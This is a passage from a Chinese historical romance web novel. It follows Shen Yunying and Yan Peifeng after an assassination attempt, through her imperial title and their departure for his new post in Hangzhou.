沈云楹闭眼又睁开,她的思绪混沌,睫羽低垂,不知自己是不是仍在梦中。她本能的要与燕培风拉开距离,但是燕培风的力道很大,她一时挣不开。 和沈云楹雾蒙蒙的双眸对上的时候,燕培风怔愣片刻才反应过来,见人要缩起身子侧睡,担心她牵扯到伤处,燕培风手比嘴快,先一步握住她的脚腕。 “别乱动,当心牵扯到伤口。”燕培风下意识喝止,又放缓声音,但话语中的惊喜显而易见。 随着视野逐渐清晰,耳边传来熟悉的嗓音。沈云楹的脑子开始思考燕培风刚刚的话,她没听明白?难道真的没睡醒? “燕培风?”鉴于燕培风满身的血和微红的眼眶,沈云楹的声音又轻又快,但咬字格外清晰。 燕培风检查过沈云楹两只纤细的脚腕,完好如初,才放心重新为她盖好被子。见沈云楹小心翼翼试探,圆润的杏眸轻轻眨动,一副受惊后的模样,心里忽的一软。 “是我。”燕培风俯身,温热的气息随之飘下,“还有哪里不舒服?” 沈云楹偷偷在被子掐了自己一下,有点疼,不是做梦。“我很好啊,没什么不舒服的。”说着,沈云楹就要坐起身。 燕培风忙伸手制止,拧眉气道:“你都摔伤了,怎可乱动?” 沈云楹只觉莫名其妙,“谁跟你说我摔伤了?” “我正想问你呢,好端端的,你怎么请了太医来?灵城寺这么远,太医上山的时候气都喘不匀,这不是折腾人吗?” 沈云楹再三确认太医是接了燕培风的帖子来的。但是她自己没受伤,蒋文笙也没事。沈云楹还想着回府问问燕培风怎么回事。 燕培风深深凝眉,眼神跟随沈云楹,看着她利落下床,穿鞋系披风。整个过程,沈云楹动作顺滑,面颊红润,丝毫不见病态。耳边听着沈云楹说今日难得和母亲出门,在灵城寺待久一点。她与蒋文笙从后山回来的时候,碰见一位太医,说是来给她诊脉。沈云楹以为弄错了,便让太医回去。 现在蒋文笙在满是长明灯的侧殿,去见见沈风诚的长明灯。而沈云楹被蒋文笙一连串的问题砸蒙,爬山也是个体力活儿,她就回香客院休息。 见燕培风坐着不说话,对身上的伤置若罔闻,沈云楹忙唤门外的银筝,去把太医追回来。 连喊两声,没人回,反而是思齐在外回话,“夫人,银筝去请太医了。” 沈云楹道:“庙里有医僧,你去前头请一个来。要治外伤的。” 思齐应声而去。 沈云楹刚转身,就被燕培风揽住腰,抱坐在腿上。除了某些时候,沈云楹第一次和燕培风,青天白日,这么亲密无间,仿佛两人是恩爱夫妻。 沈云楹视线与燕培风平齐,凑近了才知道,燕培风右眼角处也有一道划痕,恰好把他眼尾的黑痣划断。 脸颊,脖颈,胸膛,手臂,都带着伤。 沈云楹低头,腿上还好,仍是一片月白。沈云楹想挣扎下去,可看到燕培风泛红的眼睛,她忽然没了力气,提醒道:“医僧马上就来了。” 她觉得医僧可能比太医来得快。 腰间的手掌非但没有放松,反而由侧转到正面,按住沈云楹,往后挪了挪。燕培风平静道:“等他来了再说。” 沈云楹不笨,脑子一清明,思前想后就明白燕培风以为自己受伤着急赶过来的。瞧他的样子,罢了,既然燕培风不介意,沈云楹就懒得挣扎,安心坐着等。 第73章 两情相悦 沈云楹安安静坐在自己怀里, 如瀑青丝散发着她独有的栀子香,燕培风深深吸一口气,忍住抚摸的冲动。他身上手上污浊, 弄脏衣裳就算了。沈云楹抱怨过头发长,洗净擦干很麻烦。燕培风可不想惹她生恼。 太医和医僧几乎同时来到香客院, 沈云楹蹭的起身, 要是被人瞧见她与燕培风的坐姿, 就太失礼了。 太医仔细看过,燕培风身上刀伤剑伤都有, 好在都不深。最严重的是胸前绽开的一道狰狞血痕。太医亲手洗净、擦药、用白布包扎好,手法干脆,一气呵成。 医僧双目生光,边学习边打下手。 站在一旁的沈云楹盯着太医的动作, 见燕培风眉毛不曾动一下,心想燕培风应该不怎么痛,挺好。沈云楹想着要给燕培风补补血, 等太医包扎完,便上前询问注意事项, 会不会有药性冲突等等。 山风带着浅浅的花香和木香从窗边吹来,沈云楹和太医探讨怎么给他补身, 燕培风的嘴角不禁浮起一抹笑意。 燕培风想,如今他与沈云楹两情相悦。当初只想要一个安静不闹腾的妻子,窝在后院不要打扰他,谁想自己会有动心,喜欢上沈云楹的时候? 美人如画,沈云楹只站在那儿,就让人忍不住驻足。 人算不如天算! 刚回到铮然居的沈云楹也发出同样的感慨, 真是人算不如天算!她难得用心规划一件事,最终却没派上用场。 京城躺平计划失败。 燕培风换上菘蓝常服,问道:“你独自在京城更不安全,不如随我去杭州?” “燕恩之事,唐家只是推出来的傀儡,还没查到幕后之人。这次可能和杭州知府有关,牵涉范围更广,恐怕不容易查。” 钱兴斌有些嫌疑,但没什么实质证据。钱兴斌的夫人薛氏与他们夫妻有龃龉,薛夫人与唐夫人交好,钱家才接受唐家的投诚。两家实际交情并不深厚。 这次拦路的匪徒奔着刺杀他来的。燕培风怀疑有人不想他去任杭州知府。这里头牵扯到的人就太多了。可能是吏部提名的几个官员,可能是其他看中杭州知府位置的人,还可能是在江南只手遮天的那些人,不想他去分一杯羹。 杭州府比较特殊,不临海,却管着一段漕运。三十多年前,皇上刚继位那会儿,金陵知府与漕运勾结私运粮食铁器被抓,皇上一怒之下把这份漕运管辖权拨给隔壁的杭州府。 杭州知府来百里外的漕运巡视,坐马车赶路都要一天一夜。 杭州知府的情况,沈云楹也提前做了功课。她想着,燕培风不在,要是有人来送礼交际,她好应对一二。知道杭州知府还管漕运的时候,沈云楹就猜三十多前年的杭州知府是皇上的人。 沈云楹微微蹙眉,迟疑道:“非去不可吗?”她今儿都想好怎么逛遍京城山水,吃遍周边美食。 燕培风颔首,继续道:“我去求皇上派两个武婢到你身边。” 沈云楹惊道:“这要惊动皇上?” 先君臣,后舅甥。这种事不好向皇上求助吧?她可以私下去找武婢。 皇上派人在身边盯着,沈云楹总有种婆婆派人来盯着自己的错觉。毕竟,那是会催她生子的男人啊,皇后都不催呢。 “皇上的人,才是最稳妥的。”燕培风沉声道。 皇上的暗卫,本领远胜寻常武婢。后宅里有这么一个人,更有多种作用。保护、监视,用得好,或许还能有奇效。 沈云楹玩不转朝中的弯弯绕绕,不禁长叹一口气,神色有些松动。 事已至此,沈云楹决定顺其自然。燕培风想带她走,也行吧。 想想远离京城,在外面也挺好的。 最实惠的一个,她的诰命品级连升两级,杭州府内没两个人比她高。而且,天高皇帝远,皇上就是想催生都得被迫收敛。 江南风景天下一绝,杭州风光亦是不俗。地方官三年一任,她能在江南游玩三年。 还有,蒋家就在江南书院。这么多年,蒋文笙嘴上不说,心里对外祖父和两位舅舅很是惦记。到时候,她能常去江南书院,替母尽孝。 念及此,沈云楹对去杭州有了几分期待。只是,要和母亲分离了,沈云楹舍不得她。 见沈云楹没有坚持留京,燕培风攥紧的拳头悄悄松开,他边把人搂进怀里,边继续加码哄道:“西湖风景宜人,你不是一直想带岳母去看吗?我出面和太师府谈,可好?后院的事也一概不去烦你,我帮你办。” 沈云楹瞬间神色一振,美目流转,“行,听你的。” 声音带着几分雀跃。 燕培风莞尔,只要他摸准沈云楹的脉搏,随夫赴任的事,不难!沈云楹不在京城,也就不用再见什么表兄了。 “出京的日子不变。你抓紧时间收拾行李,我先进宫。”燕培风得出门去查匪徒刺杀的事,而沈云楹的行李还丝毫未动,没剩几天了。 沈云楹点点头,燕培风一走,她问银屏,“母亲回到太师府没有?” 银屏道:“回了,三夫人遣人来说,让您多保重,这阵子别出门。” 闻言,沈云楹道:“明日就去太师府见母亲。”燕培风匆匆到灵城寺,又匆匆离开,沈云楹没来及和蒋文笙细说。 银屏惊诧看着沈云楹,应道:“奴婢明白,这就让人去传话。” —— 皇宫勤政殿。 听说燕培风遭遇刺杀,皇上的脸色就黑如锅底,立刻命人彻查,燕培风还没进宫禀告事情始末,皇上心里担忧,第三次与太医确认燕培风伤情。 “培风真的无大碍?”皇上拧着眉头,一双虎目瞪着太医,急于知道答案。 太医心下哀叹,面上恭敬道:“回皇上,燕大人只需休养些时日,身上的刀伤并无性命之忧。” 皇上唔一声,殿外的小太监小跑着进来禀报:“启禀皇上,燕大人求见。” “速宣。” 皇上急得站起身,边朝太医摆手,边走下阶梯,视线钉在燕培风身上,见他迈步从容,双目有神,只是面色有些苍白,心里稍稍放心。 燕培风感受到皇上如火般关切的目光,忙快走两步,上前行礼问安,接着道:“皇上,微臣只受了些小伤。” “你快起身,”皇上搀扶着燕培风的手臂,“朕已经问过太医,胸前挨刀,不能轻视。” 皇上纳闷道:“培风,你自小跟着师傅学武,虽然成绩一般,但逃脱不是问题。怎么就那么不要命打上去呢?” 燕培风幼时调养身体差不多后,就跟着武师傅习武,重在强身健体,也不指望他学成个武状元。 皇上开始唠叨就停不下来,接着道:“你不想着自己,也要想想朕,想想你的妻子。” “说到你们夫妻,六月成亲,现在都过完年了,怎么还没有喜信传出来?难道那尊送子观音没效果?不应该啊,朕从护国寺请来的!” “话说回来,你还是要保重身体!”皇上心里犯嘀咕,难道要给燕培风补补?上上下下打量一番燕培风,剑眉星目,俊朗过人,不像是银样镴枪头啊。 皇上一拍脑袋,“朕想起来了,你的后院连个妾室都没有。要不,朕赐你几个美人,看看能不能有个孩子出世。” 刚刚满腔的感动瞬间消失,燕培风扬起的嘴角凝固,立即拒绝,“皇上您别想一出是一出。微臣马上就要去杭州,一应都打点好了。一举一动都被人盯着,我这时候领几个人进后院,像什么话?” “且微臣与妻子琴瑟和鸣,不需要美人插足。” 皇上看一眼燕培风,不是相敬如宾,而是琴瑟和鸣,看来他们小夫妻处得不错。他沉吟片刻,“罢了,随你。沈家闺女是你自己选的,或许你们真的有缘。” 燕培风微微颔首,顺势提出忧虑沈云楹的安全,“还请皇上给两个武婢,贴身保护。” “朕知道了。”皇上毫不犹豫答应,不过是小事。 “你坐下,别站着了。刑部尚书亲自审案,等下他来了,你也听听到底怎么回事。” 燕培风坐在左侧,就又见皇上指着手边的奏折,“胡茂清还是有能力,才去了几个月,就有人上表彰了。” 燕培风心知,胡茂清被贬这么狠,除了皇上心疼他在张秋镇受水患之苦,还有胡茂清身为盐台,竟敢通过钱侧妃攀扯二皇子。 手伸的长了,就不要怪被人剁掉。 他淡淡回道:“胡大人只要后院没有貌美小妾,就能造福一方百姓,做个好官。” 皇上一愣,好笑地看一眼燕培风,“你还气着呢。” 燕培风没说是也没说不是,端起手边的茶盏喝下一半。他赶路进宫,有些渴了。 皇上轻哼一声,也没再提胡茂清。刚好这时候,刑部尚书来了。 “爱卿,那三个人可招了?”皇上压着怒气问。 燕培风也望向刑部尚书,十二个匪徒,死了九个,他留下三个活口。 “启禀皇上,微臣幸不辱命。”刑部尚书双手呈上笔录,“三个人都是城外山头的小盗匪,有人重金买凶,他们一伙人见钱眼开,接下委托。” “买凶之人,也就是用刀的那名匪徒,”刑部尚书侧头看向燕培风,“燕大人与他交手,已经把人杀了。” “幸而其中一名叫大田的匪徒机灵,他认出买凶的人曾经出入过唐家。” “唐家?皇商唐家?”皇上立即想到刚被流放的皇商唐家。 “正是他家。”刑部尚书颔首。 皇上没耐心看笔录,汪公公拿给燕培风。他一目十行看完,幕后之人完全出乎他的意料。竟然是杜冰淼找到唐石,就是那名用刀的匪徒,两人凑钱雇人想杀燕培风与沈云楹夫妻。 奈何两人无权无势,只有重金才能找到敢灭口的人。杜冰淼给的钱不多,唐石更恨燕培风,便没理沈云楹,花掉所有的钱雇来十一人,自己还亲自上阵,想要杀死燕培风。 第74章 南下 刑部刚审出结果, 钱府边上的一所三进宅子就悄无声息死了一个人。 杜冰淼得知唐石刺杀失败,沈云楹毫发无伤,燕培风只有一点轻伤。杜冰淼自觉和唐石的接触隐秘, 加上打听到唐石已死,牵连不到她这里。杜冰淼只是沮丧的打点厨房要一壶热酒, 借酒消愁。 然而热酒刚下肚, 杜冰淼立即腹中绞痛, 想大声求救,喉咙却发不出声音, 最终睁着眼睛倒在桌上。 “老爷,杜姨娘喝下酒了。”亲自下毒的灰衣小厮低声禀报。 “嗯,杜姨娘畏罪自尽了。继续盯着,等刑部的人来, 记下杜姨娘院子所有人的供词。”许先生压着怒气,“这是你最后的机会。” 小厮心惊胆战应下,老爷这是怪罪他没盯紧杜姨娘, 让她有机会联系唐石,惹出事端。 许先生收敛怒容, 提脚去钱府。他这次要完全脱罪,还得依靠主家老爷。 一个时辰后, 许先生从钱府出来,看到站在自家门前的刑部官兵,不慌不忙地上前,态度温和询问:“这位官爷,你们来我家作甚?” —— 暮色四合,燕培风回到公主府已过晚膳时辰,他估摸今夜有访客, 径直去前院,省得打扰沈云楹休息。 果然,没过一会儿,管家来报,“二皇子和户部侍郎钱兴斌,还有他的门客许柯文在府门外。” 燕培风眉宇微凝,难为钱兴斌还拉来二皇子这尊大佛。他站起身,“带去前厅。” 二皇子未见其人先闻其声,还没看到人影,嚷嚷声就在门外响起,“燕培风!你人呢?我来求你办点事。” 燕培风眼皮子都没抬,淡淡道:“二皇子大驾光临,我自然扫榻相迎。” 二皇子轻哼一声,燕培风稳稳地坐着,连起身行礼都没有,还扫榻相迎,谁相信啊!不过他今日来当说客,还真不能挑燕培风的礼。 他讪笑道:“看你生龙活虎的,想必那些乌合之众伤不到你。你的武艺不如我,但比虾兵蟹将高多了。” “见过二皇子。”燕培风站起身,敷衍看一眼二皇子,难道皇上和皇后精明的脑子都被太子抢光了? 燕培风又朝后面的两人点头致意,“钱大人。”钱兴斌是燕培风在户部的上司,有公务往来,他拧眉思索问:“这位是?” 钱兴斌忙介绍:“燕大人,这位是我的门客许柯文,杜冰淼是他的姨娘。” 燕培风冷冷看一眼许柯文,哦一声,没在理会许柯文,让人上茶。 见状,许柯文没有私心,立即上前几步,弯腰恭敬至极地跟燕培风解释,杜冰淼的事他绝不知情,又从衣袖中掏出赔礼。 “学生事前完全被蒙在鼓里,可恨那妇人知道事败,畏罪自尽,早早死了。我全家四十五口人,清清白白做人,偏被她连累。”许柯文眼中含泪,跪下砰砰两个响头,“还请燕大人高抬贵手,留我一家性命。” 燕培风立即叫思齐扶人起来,“你自称学生,可见是有功名在身,见官不跪。今日也不必跪我。此案归刑部管,若有冤屈,刑部明镜高悬,自会为你做主。” 二皇子连茶都不喝,“燕培风,他也是被那恶毒妇人给连累了。这点子小算计对你不痛不痒,看在我的面子上,你就别追究了。” 见燕培风面如寒霜,周遭的温度就要和外面一样冰凉,二皇子忙补充道:“我明儿让人给你送赔礼!” 燕培风冷哼一声,有心给二皇子一个软钉子,张口就提要求,“那就把你的那柄把碧霄剑送来吧。” 二皇子跳起来:“不可能!” “你剑术一般般,要我那么好的剑做什么?” 燕培风扫视一圈,慢慢道:“等下次遇到刺客,我好应敌。” 二皇子心里不舍,但想想娇娇柔柔的钱侧妃和白白嫩嫩的小儿子,还是点头,“行。给你了!” 钱兴斌接话,“燕大人,许柯文是我府上的门客。此事我也有监管不力之责。赔礼我也应当出一份。” 燕培风见好就收。这件事的证据只到杜冰淼,但杜冰淼已死。如果钱兴斌和许柯文想刺杀他,不会用这么点人。 事情谈妥,二皇子想着继续缓和一下关系,就提出要留下用膳。燕培风有心观察一下钱兴斌这个人,顺势答应。 燕培风留客的消息传到后院,沈云楹只点了点头,燕培风的伤势不重,他自己歇不下来,沈云楹便不勉强。正如她就想慵懒度日,燕培风就想着奋斗仕途。 下午,她为自己列了一个行李单子,银屏银筝忙得团团转,她也跟着忙碌大半天。 沈云楹垂眸盯着弦月倾泻而下的薄弱微光,毫无睡意。床边有薰笼,被褥里还有汤婆子,屋里暖烘烘的。如果明天回太师府,沈云楹就算睡不着也会窝在床上等着慢慢睡去。但蒋文笙让人传话,叫沈云楹暂时别过来,省得被沈老夫人盘问燕培风遇刺的事。 白日燕培风说过要带母亲去江南,不知道他要怎么说服沈太师和沈老夫人。事情没成,沈云楹没露出一丝口风,就怕横生波折。 沈云楹翻来覆去,还是决定起身。 案桌左上角,整齐垒着近期买的话本子,都是沈云楹没看过的。她顺手拿起第一本,一下就看了进去。 快到子时,沈云楹依然手不释卷,甚至越看越精神,俨然一副彻夜长读的架势。银屏再次进屋,这次没催沈云楹去睡觉,手里提着食盒,轻声道:“夫人,用点宵夜吧?” 沈云楹看着端出来的碧梗米粥,小菜有雪里蕻、火腿笋丝、酱瓜龙须,旁边还有一碗银耳羹和玫瑰露。 沈云楹从床上起身,移坐到暖炕上,边勺碧梗米粥边道:“银屏,这本话本是在哪家书肆买的?和以前的都不一样。” 这本写的是凡人修炼成仙,比以前的那些状元公主情深一世新奇多了。 “博学书肆。”银屏侧头看了看压在一堆书底下的书肆印章。 “这两天抽空再去淘几本回来。”沈云楹想多买几本,路上好打发时间。 银屏忙问:“夫人,前院书房的灯还亮着。要不要给老爷送去?” “有多的你就送。”沈云楹随口吩咐,她现在一心二用,边看话本边吃宵夜,没心思想别的。 银屏欲言又止,思齐特意传话的意思,她知道,但是沈云楹好像没这意思。银屏最后叹口气,转身下去让人送宵夜。 铮然居小厨房的宵夜送到前院书房,燕培风瞄了一眼,全是他的口味,抬头问道:“是夫人特意吩咐厨房做的?” “夫人还没歇下?” 思齐想了想,铮然居做的菜,那就是夫人吩咐的。他肯定地点头。 燕培风搬起身前的公文,“摆这儿。” 二月正是倒春寒的时节,碧梗米粥还冒着热乎气儿,食物的清香直往鼻子里钻。燕培风知道沈云楹贪睡,她一向睡得早。今晚可能是为他担心。 燕培风叹口气,叮嘱思齐,“去吩咐厨房熬一碗安神汤,你亲自给夫人送去,告诉她,身体要紧,别熬坏了身子。” 思齐面色古怪地抬头看一眼燕培风,他怎么听着这话很像是妻子叮嘱丈夫的。主子常熬夜,这话也该对自己说吧? 燕培风发现思齐在走神,皱眉问:“听清楚了?” 思齐赶紧压下心中种种浮想,点头道:“奴才明白,这就去。” 火腿咸香,酱瓜清脆,配上熬煮得浓稠的米粥,入口滋润,一丝暖意传遍四肢百骸,驱散深夜的冷意。 燕培风想起白日沈云楹乖巧待在自己怀里的模样,晚上她又担忧睡不着。他的心间不由发紧,微微发疼,他想对沈云楹更好一些。 之前承诺过要带岳母去江南的事还没办,得尽快去一趟太师府。 翌日,燕培风去探望沈太师。两人寒暄过后,沈太师又提及江南的形势和当杭州知府的种种要紧之处。燕培风受益匪浅。 叙完公事,燕培风关心问:“三月春闱,不知础筠、础鹤两位堂兄准备的如何?” 想到孙子辈,沈太师不得不承认,读书看天赋。他自幼过目不忘,才思敏捷,奈何儿子、孙子都不是奇才和高才的料子。 “他们今年不下场,还需再打磨两年。” 燕培风笑道:“我与两位堂兄论过文章,文丰而境稍有狭。祖父不如让他们出去游学历练一番?” 沈太师抬起苍老而精明的眼眸,定定地看着燕培风,“培风的意思是?” “岳母多年不曾归宁了。今年外祖父六十九,俗话说人生七十古来稀,老人家二十多年没见过岳母,见一面少一面,不如让岳母带着两位堂兄去祝寿。” 时人不过七十整寿,不论达官显贵还是乡野村夫,六十九岁一般都会大办寿宴。蒋宜是江南书院的先生,届时来贺寿的人都是江南有才之士。 燕培风继续道:“孙婿要去杭州,正好同行,路上能照应一二。” 沈太师轻笑一声,果然与三儿媳有关。这么看来,燕培风与沈云楹夫妻还算恩爱,外界传言多不可靠啊。 “如此也好,他们两个是该历练历练。有你和蒋亲家在,去看看江南风光,省得他们坐井观天。”沈太师果断下决定。 燕培风达成目的,不再多留。 沈太师的决定传遍沈家,沈老夫人很纠结,她不想蒋文笙好过,又想孙子前程似锦,思来想去还是没有反驳。 大夫人温氏和二夫人王氏则满心都是儿子扬名江南的期盼。 沈云蔓回家来找沈二夫人说说燕培风遇刺的事,顺便奚落沈云楹,觉得她的日子更不好过了。结果,刚回到太师府就听到自家兄长要和大房堂兄沈础筠一起去江南书院贺寿,沈云蔓顿时皱起眉,“大哥不去国子监,茗山书院、蘅芜书院都是赫赫有名的书院,怎么就要去江南?” 沈二夫人这次却有不同意见,“础鹤和础筠就在茗山书院,学得一般。这些书院在京城有名,但论教书育人,还得是江南书院。俗话说得好,朝廷的官,十个有六个是江南人,江南书生多出自江南书院。这可是好机会。” “就连你祖父都说,路上有燕家人照顾,江南有蒋家,三弟妹会照顾好两个侄子。” 沈云蔓:“三婶有这么好心?” 沈二夫人挑眉,“反正去了蒋家,就是她的责任。”说着又叹口气,“这次不知道老太爷又洒出去多少好东西。上次一箱又一箱的送给沈云楹那丫头!我的儿啊,怎么老太爷就看不到你的好?你也常回家,孝心只比沈云楹多,公公就是偏心!” 沈云蔓脸色涨红,她知道祖父大摇大摆送东西给沈云楹,是在敲打自己和沈云芝。后来打听到里面有多少好东西,她心疼的滴血。祖父对三个孙女不偏不倚,都不怎么管她们,这次唯独对沈云楹另眼相待。 说不准那些东西是三个孙女都有的。可惜,上次的计划不够缜密。不仅没让沈云芝栽跟头,还损失王娴君这颗棋子。 祖父祖母没对外宣扬,但都知道是她和母亲的手笔。 沈云蔓转移话题,“我听说娴君和杨凯方的婚期定在四月?” “是啊,放榜后就成婚。”沈二夫人没好气道,“没了王娴君,那庶子要寻哪家姑娘啊?” 沈云蔓眼珠子一转,“永安侯府的旁支姑娘怎么样?” 她能收拢旁支族人,母亲也能看住庶子后院。 沈二夫人眼前一亮,“那有什么不可以的,高攀永安侯府,是他的运气。” “娘,沈云芝的亲事定下没有?”沈云蔓依然挂心这件事。 “李家人来慈晖院的时候,老夫人拉着侄子媳妇说了好久的话。”沈二夫人也留心呢,可以通过沈老夫人和沈大夫人的动作猜测。 “李家?哼,李家只有一个纨绔少爷没定婚事吧?祖母竟然为沈云芝挑这么差的一门亲?”沈云蔓不可置信,曾经沈老夫人多么疼爱沈云芝啊,她要争要抢,就是不服气沈云芝能得到沈老夫人的偏爱。 如今看来,沈老夫人或许不如表面那般爱护沈云芝。 —— 沈云楹彻夜畅读修仙话本子,直到晌午才醒来,早膳午膳一块用了。刚搁下筷子,银筝喘着粗气进屋,“夫人,宣旨太监来了。” 沈云楹惊疑起身,“这时候来宣什么旨意?” 昨天燕培风回来时,就已经领着宫里的赏赐兼压惊礼回府了。今儿还有赏? “不知道呢,不过看那公公笑呵呵的,八成是喜事。只是老爷不在府中,已经遣人去叫了。” 沈云楹点点头,“那就不急。先让管家招呼着,我们来梳妆换衣。” 不久,燕培风和沈云楹齐齐跪在香案前接旨,沈云楹听着宣旨太监尖细的嗓音,脑子有点懵,她没听错? 好像回到赐婚旨意送到太师府那日。 天降馅饼。 耳边还重复着圣旨上的话,“沈氏贞静柔嘉,对内克勤克俭,持家佐君;对外乐善好施,关怀百姓。今仰承天恩,特赐为惠和县君,赐食邑五百。” 沈云楹感觉手肘被燕培风一碰,忙回神接旨,“臣妇谢主隆恩。” 等宣旨太监拿着丰厚红封离开,沈云楹还满心震惊。她心想,皇上为了光明正大送个武婢,竟然先封她做县君? 是皇上脑子坏了,还是我鸿运当头? 燕培风静静观赏完沈云楹懵懂震惊的模样,才笑道:“皇上是补偿你。你要跟着我赴任,县君能有自己的仪仗和侍卫。” 沈云楹展颜欢笑,“皇上还挺厚道。” “你被封为县君,应该办宴庆祝,”这是给皇家面子,不能不办,燕培风提议道:“不如和饯别宴凑在一起办?只叫家人来吃个饭。” 沈云楹点点头,“初十饯别宴是早定好的,那就多加两个菜。” 官场上辞行,燕培风早在外面酒楼办过。公主府办饯别宴,只招待沈家人和燕家族人。 燕培风眉峰一挑,笑问:“你是不是忘了邀请蒋家两位表兄?” “不是只请两家人吗?”沈云楹不解。 燕培风云淡风轻道:“蒋家也是姻亲,一起请来吧,我亲自给他们写帖子。” 蒋家两位表兄能来,说不定还能和蒋文笙见一见,沈云楹觉得挺高兴。 “那你快些些,送去蒋宅,不,送去国子监。时间这么紧,不知两位表兄有没有空。”沈云楹小声嘀咕。蒋家在国子监附近买了一个小宅子,但蒋高鑫和蒋高恒多住在国子监。 燕培风笑道:“有的。初十国子监休沐。” 二月初十,沈云楹与燕培风在公主府办饯别宴、庆贺宴。 因都是一家人,便不分前后院,吃饭时候男女同席。 沈太师没来,沈大老爷和沈二老爷只略坐了坐就离开,留下的都是年轻公子。 饭毕,燕培风与蒋家蒋高鑫、蒋高恒,沈家沈础筠、沈础鹤,还有燕家燕坤风和燕祯风,一同去前院,围成一桌聊天。 都是年轻人,除了称呼辈分,就是直接喊表字。 燕培风与各人寒暄,赠了临别礼,来到蒋高恒面前,开口道谢:“之前事忙,还没见过二表兄。拙荆让我一定要谢你寻书的辛苦。我听岳母说,二表兄上京是为了考举人,妹婿略尽绵薄之力。” 思齐指着贴着签子的梨花木大箱子,全是备考的书籍。 “国子监邵教谕乃我忘年交,若是二表兄有事,可去寻他。”燕培风笑道,他早和邵教谕交待,要狠抓蒋高恒的课业。 时光飞逝,秋闱不远矣。 蒋高恒正惊讶燕培风的热情,还未回话,就被兄长蒋高鑫一拍肩膀,“还不快多谢止衡。” 止衡是燕培风的表字。 蒋高鑫作为被邵教谕照顾过的人,深知其中的好处,心中感念燕培风。 蒋高恒忙弯腰拱手道谢:“多谢止衡兄。”看着光风霁月的燕培风,心想他与沈云楹很是相配。 站在一旁的沈础筠很羡慕,他的目光不时瞅向那个箱子,真想知道是什么书。他现在对燕培风敬佩不已,若不是燕培风,祖父母和爹娘也不会同意他去江南书院。 想到江南书院鸾翔凤集,满庭竞秀,沈础筠便满腔激动,转头看到堂弟沈础鹤一个劲儿的喝闷酒,低声问道:“要是有事,我们早些回去。别在宴席上失礼。” 沈础鹤叹口气,“堂兄,我不想去江南书院。” “大伯母和我娘都和三婶不亲近,去了江南书院,能有什么好处?”沈础鹤认为京城天子脚下,他祖父是太师,在京城公子少爷的圈子,他算头一茬。 国子监还能比江南书院差?没看蒋宜都把两个孙子送到国子监了吗?大冷的天,河面刚解冻,沈础鹤才不想奔波。 可惜,祖父命难违。 听完堂弟的烦忧,沈础筠深深看他一眼,没有说话。人啊,果然悲欢并不相同。他盼着去江南呢!不能和沈础鹤感同身受了。 后院,沈云楹维持表面的微笑,送走借口有事的沈大夫人和沈云芝,沈二夫人和沈云蔓,就连燕佩瑜也走了。 沈云楹才领着蒋文笙去铮然居。她拿出县君爵位的圣旨给蒋文笙看,再想到和蒋文笙一起离沈家远远的,刚刚宴席上的辛苦顿消,浑身神清气爽,沈云楹笑得合不拢嘴。 “娘,我真开心。”沈云楹倚着蒋文笙的胳膊,“真没想到我们能一起去江南,你还能去外祖家暂住。” 沈云楹忽然想到还有沈础筠和沈础鹤,“能不能把两位堂兄扔到江南书院,您当个甩手掌柜?” 蒋文笙小心收起圣旨,先小声提醒:“圣旨都是要供在祠堂的。下回不准这么轻慢。” “有什么不可以的,他们都这么大了,我一个寡妇能管多少?在书院好好求学,才不辜负公公对他们的期望。” 沈云楹点点头,那这回去江南,还是好事更多。 二月十二,是个大晴天。 一艘官船从港口迎风南下。 第75章 下马威 十天后, 金陵。 江南的初春比京城温暖宜人。从北至南,船上众人的衣裳都薄了一层。 沈云楹一行人弃舟登岸,接下来就会分成两路。沈云楹和燕培风坐马车去杭州, 而蒋文笙带着两个侄子去金陵凤鸣山。江南书院就在凤鸣山上。 行李陆陆续续被搬下去,甲板上, 燕培风与沈础筠、沈础鹤告别。 船舱里, 蒋文笙拉着沈云楹的手, “娘这一路瞧着你同女婿相处,你是真过得好, 娘就放心了。” 途中一切事务都有燕培风大打点妥当,沈云楹凡事不管,每日和蒋文笙聊天,吃各种烹饪的鱼肉, 再去听船娘们说些水上见闻。 蒋文笙亲眼见着女儿女婿相处,留心观察了一路。沈云楹日子的确轻松愉悦,但是, 女儿是不是太没心眼了?在京城时候,都知道把后院捏在手里, 怎么一出来就不懂了呢? 当了地方官,送美人的事情更多。沈云楹不害人, 也不能叫人家给反制住。蒋文笙低声提醒,“你想着享受没错,但不能太放手了。关键大权还得握在自己手里。” 沈云楹微微一笑,“娘,我知道的。” 到了杭州,燕培风肯定很忙,后院的事不知道管成什么模样。而且她的地盘, 肯定得让下边人知道,谁是真正做主的人。只为了更好的窝在后院逍遥度日,沈云楹也不能真的当甩手掌柜啊。 “等我这边安顿好了,就去外祖家。”沈云楹算着三四月间,定能来一趟金陵。燕培风得巡视漕运,她就去外祖家见见蒋文笙。 蒋文笙不在意,“你先顾好自己。我与父亲多年未见,得多尽尽孝。不过,你外祖父豁达开明,也许我先去杭州瞧你了呢?” 能回一次娘家,再见见父亲,蒋文笙欣喜激动,这会儿天天见的闺女不稀罕了,她现在父亲身边多住些日子。 沈云楹点了点头,和蒋文笙依依惜别。 沈家的马车晃晃悠悠往凤鸣山走,蒋文笙单独一车,沈础筠和沈础鹤兄弟一辆马车。两人的小厮特意掀开帘子看看燕家的车队逐渐远去,才一唱一和说起沈云楹与燕培风。 “没想到三姑奶奶和三姑爷竟然是夫妻恩爱。以前在府里的时候,听说三姑奶奶被冷落,姑爷一个月都不进一次后院的门呢。”先说话的是沈础鹤的小厮平安。 长墨推了推他,“叫你信这些传言。咱们看了一路,三姑奶奶想吃鱼,三姑爷弄出来的鱼宴,整整十天,没一个重样的!真是大开眼界。”太师府都没有这么多样的吃法。 沈础筠笑着点头,心想燕培风宠爱妻子,对三妹妹、沈家都是好事。 沈础鹤看了笑着的三人,摇头叹息,这三妹妹果然如传言般貌美无脑,都要被燕培风架空了都不知道。衣食住行,竟一丝都不能自己做主的! 他闭上眼睛,沈云楹笨就算了,怎么三婶和大堂兄也没察觉?今后要在蒋家的眼皮子底下住着,蒙蒋家和三婶的恩,看来还得他多看看了。 —— 本朝杭州是一府八县的格局。仁和、临安两县在杭州城内,一东一西,热闹繁华。 在得到调任的消息时,燕家提前派人来买宅子,置办东西,一并打听府城的消息。 四进的宅子,离知府衙门隔着一条街,宽敞又雅致。此时,早得到消息的管家站在门口迎接主子们。 沈云楹和燕培风直奔新买的这所宅子。从正门入,沈云楹抬头看了看,匾额提着燕府二字。 燕培风站在沈云楹身侧,温声道:“新府邸的图纸提前给你看过了,你住的院子依然叫铮然居。如果有什么想换的,就去找管家。” 